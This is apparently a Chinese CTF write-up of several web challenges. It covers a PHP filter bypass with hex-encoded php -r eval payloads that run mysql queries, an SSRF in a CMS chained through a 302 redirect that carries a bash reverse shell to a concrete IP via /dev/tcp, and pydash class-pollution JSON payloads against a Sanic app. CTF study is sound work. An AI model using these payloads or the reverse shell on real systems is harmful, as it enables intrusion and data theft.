simple_php

源码

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}



show_source(__FILE__);
?>

**ini_set('open_basedir', '/var/www/html/');**:设置 open_basedir 配置选项,限制 PHP 只能访问 /var/www/html/ 目录及其子目录

$cmd = escapeshellcmd($_POST['cmd']);

**escapeshellcmd** 是一个 PHP 内置函数,用于转义传递给 shell 的字符串,以防止命令注入攻击。它的主要作用是确保用户输入的字符串在作为 shell 命令的一部分执行时不会被解释为特殊字符或命令。这个函数会在某些有特殊含义的字符前添加反斜杠,从而使这些字符失去特殊含义。

eg:

假设有以下用户输入:

$input = 'cat /etc/passwd; rm -rf /';

使用 escapeshellcmd 转义后:

$escaped_input = escapeshellcmd($input);
echo $escaped_input;

输出将会是:

cat\ /etc/passwd\;\ rm\ -rf\ /

而且这里过滤了很多东西

跟着wp复现

php -r 是 PHP 命令行界面(CLI)的一部分,它允许你直接在命令行中运行 PHP 代码,而无需创建一个文件来包含这些代码。-r 选项用于指定一段将被执行的 PHP 代码

image-20240730165912695

发现可以直接执行

那么我们这就可以命令执行

由于绕过的函数有些多,我们可以使用hex2bin()函数进行16进制转字符进行绕过

但发现直接php -r eval(hex2bin(73797374656d2827707327293b));

行不通

发现hex2bin需要的参数是一个字符串类型的数字,直接两个双引号呢?

不行 gg 准备跑路

但是总有大佬能想出来

substr() 这个就有点牛逼了

我们知道

自动类型转换(Type Juggling)

PHP 是一种弱类型语言,它支持自动类型转换,称为“类型杂耍”(type juggling)。这意味着 PHP 会在需要时自动将一种数据类型转换为另一种数据类型。这种转换在函数参数传递时特别常见。

当你传递一个数字给 substr()$string 参数时,PHP 会自动将这个数字转换为字符串。这是因为 substr() 函数的第一个参数需要一个字符串,而 PHP 会尝试将传递的任何数据转换为期望的类型。

所以我们这里payload

cmd=php -r eval(hex2bin(substr(Gu0f3n73797374656d28276c73202f27293b,6)));

成功执行

查找/目录发现没东西 但是 ps 发现有sql进程

# echo `mysql -u root -p'root' -e 'show databases;'`;
cmd=php+-r+eval(hex2bin(substr(Gu0f3n6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b,6)));

image-20240801105235342

爆出库名

# select * from PHP_CMS.F1ag_Se3Re7;
cmd=php+-r+eval(hex2bin(substr(Gu0f3n6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773656c656374202a2066726f6d205048505f434d532e463161675f5365335265373b27603b,6)));

image_5

还有个更简单的payload

mysqldump -uroot -proot --all-databases

直接把所有库的所有数据查出来 然后找flag

easycms

hint:简单的cms,可以扫扫看? 提示1: /flag.php:

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

提示2:github找一下源码?

找到源码

https://github.com/dayrui/xunruicms

信息打点 发现这个cms的漏洞公示https://www.xunruicms.com/bug/

image-20240801200813912

定位路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php

image-20240801201003706

ssrf漏洞

定位这个函数dr_catcher_data

image-20240801201134900

试了下输入本地不行

302跳转

自己vps上面构建302.php

<?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.149.246.169%2F2222%200%3E%261%22");

payload:

?s=api&c=api&m=qrcode&text=1&thumb=http://vps:7777/ctf/302.php&size=6666&level=1

反弹shell

image-20240801201517830

卡了? 试了几次都这样

gg 跑路 复现失败 ┭┮﹏┭┮

sanic

依旧是这位大佬gxngxngxn

参考

https://www.cnblogs.com/gxngxngxn/p/18205235

进入src路由

源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

分析下这段 在/login路由处我们需要绕过**user.lower() == ‘adm;n’**的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的

利用八进制绕过

image-20240801202640883

原理之前DASCTF复现的时候讲过了

所以直接上操作

得到admin的session

进入admin

直接污染

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

得到flag名

image-20240801210841152

{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

访问src 拿flag

image-20240801211003726

mossfern

ezjava